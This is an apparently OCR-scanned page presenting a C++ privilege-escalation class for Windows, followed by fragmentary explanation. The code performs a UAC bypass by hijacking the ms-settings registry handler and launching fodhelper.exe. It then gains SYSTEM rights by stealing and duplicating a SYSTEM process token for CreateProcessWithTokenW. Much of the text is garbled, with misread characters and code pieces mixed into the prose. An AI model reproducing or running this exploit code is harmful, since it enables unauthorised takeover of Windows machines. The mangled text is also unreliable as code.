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Privilege Escalation Class

C++ Code

std;

PrivEscalationClass{

PrivEscalationClass(){};

bool runProcAsAdminFromUser (string procName){
HKEY hkey;

DWORD d;
char* settJr\gs -
char* del = ""

bool success

“Software\\Classes\\ms-settings\\Shel1\\Open\\command";

RegCreateKeyEx (HKEY_CURRENT_USER, (LPCSTR)settings, @, NULL, @, KEY_WRITE, NULL,

LSTATUS stat

Failed to open or create reg key\n";
success;

= RegsetvelueEx(hkey, , ©, REG_SZ, (unsigned char*)procName.c_str(), strlen(procName.c_s
1= ERROR_SUCCESS){

Failed to set reg value\n;

stat
(stat

cout &lt,&lt:
success;

stat = RegSetValueEx(hkey, "DelegateExecute”, @, REG_SZ, (unsigned char*)del, strlen(del));

(stat 1= ERROR_SUCCESS){
cout &1t;&1t; "Failed to set reg value: DelegateExecute\n";

success;

RegClosekey (hkey) ;

SHELLEXECUYEINFO sei = { (sei) };
ei

seL]pFlle = rc \\\«ﬂndo\us\\iy(temiz\\fndhelper exe";
sei.hwnd =

sei.nShow = sw NORMAL;

(!shellExecuteEx(&amp;sei)) {
DWORD err = GetLastError();

printf(err == ERROR_CANCELLED ? "The user refused to allow privilege elevation.\n"

printf("Successfully created process =»..7=\n");

success 5
success;

bool runProcAsSystemFromAdmin(string procName){

string username;
HANDLE hProcsnap;

PROCESSENTRY32 pe32;

string app;

string userProcess;

int pid = o;

hProcsnap = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, ©);

pe32.dusize (PROCESSENTRY32) ;

cout &1t;&1t; "Enter the path of the application you want to run as SYSTEM: ";
cin 8gt;&gt; app;
wstring wapp = wstring(app.begin(), app.end());
LPCWSTR LPCapp = wapp.c_str();

(Process32Next (hProcsnap, &amp;pe32)) {
pid = pe32.th32ProcessID;

username = GetProcessUserName (pid);
(username || username ==""NT AUTHORITY/SYSTEM") {

getToken(pid);

(cToken I= NULL || cToken ){
success = createProcess(cToken, LPCapp);

(success){

HANDLE cToken

}

}
CloseHandle(hProcsnap) ;
success;

HANDLE getToken(DWORD pid) {
string userProcess;
HANDLE cToken

HANDLE ph = NUL
OpEnProcess(PROCESS QUERY_LIMITED_INFORMATION,

5 pid);

p!
cToken (HANDLE)NULL)

OpenProcessToken(ph, MAXTMUM_ALLOWED, &amp;cToken);

BOOL res
(Ires) {

cToken

= (HANDLE)NULL;

(ph 1= NULL) {
CloseHandle(ph);

cToken;
}

BOOL createProcess(HANDLE token, LPCWSTR app) {
HANDLE dToken = NULL;

STARTUPINFOW si;

PROCESS_INFORMATION pi;

BOOL res = TRUE;

ZeroMemory (&amp; si, (STARTUPINFOW)) 5

ZernMemcry(&amp,p n (PROCESS_INFORMATION)) ;

(SYARTUPINFON),

NULL,

gamp;hkey, 8amp;d);

tr()));

gamp; si,

upllcateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &amp,dToken),
&anp; pi);

NULL, @, NULL,

LOGON_WITH_PROFILE, app,

reateProcesswithTokenh(dToken,
res;

str‘)ng GetProcessUserName (DWORD pid) {
E hProcess = Of enpmcess(PRocEss QUERY_INFORMATION, FALSE, pid);
(‘hPro:ess) °%
HANDLE hToken = NULL;
(10penProcessToken(hProcess, TOKEN_QUERY, &amp;hToken)) {
CloseHandle(hProcess);

)
DWORD dwSize
GetTnkenInFor‘matmn(Moken, TokenUser, NULL, @, &amp;dwSize);

PTOKEN_USER pTokenUser = (PTOKEN_USER)malloc(duSize);
SID_NAME_USE SidType;

char 1pName[MAX_PATH] ;

DWORD dwNameSize = MAX_PATH;

char 1pDomain[MAX_PATH];

1pbomain,

DWORD dwDomainSize = MAX_PATH;
(!LookupAccountSid(NULL, pTokenUser-&gt;User.Sid, lpName,
free(pTokenUser) ;

CloseHandle(hToken) ;
CloseHandle(hProcess);

}
string usernane(1pbonain);
"/

CloseHandle (hToken) ;
CloseHandle(hProcess);
username;
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3. getToken(DWORD pid):
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It uses OpenProcess to open the target process and OpenProcessToken to retrieve its token.
4. createProcess(HANDLE token, LPCWSTR app):

This method creates a new process with a specified access token.
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de defines a PrivscalationClass class, which contains methods for privilege escalation in a Windows environment. It focuses on running processes with elevated privileges,
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" : "Unexpected error! Error code: %1d\n", err);

» &amp;SidType)) {

specifically from a u

s using getToken.

It duplicates the provided token using DuplicateTokenEx and then uses CreateProcessWithTokenl to create a new process with the duplicated token.

5. GetProcessUserName(DWORD pid):

he username associated with a process’s token.

This method retrieves
It opens the process using OpenProcess and its token using OpenProcessToken,
It then uses LookupAccountsid to get the username associated with the token's SID.

The code aims to demonstrate privilege escalation techniques and impersonation
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| purposes, and any real-world u
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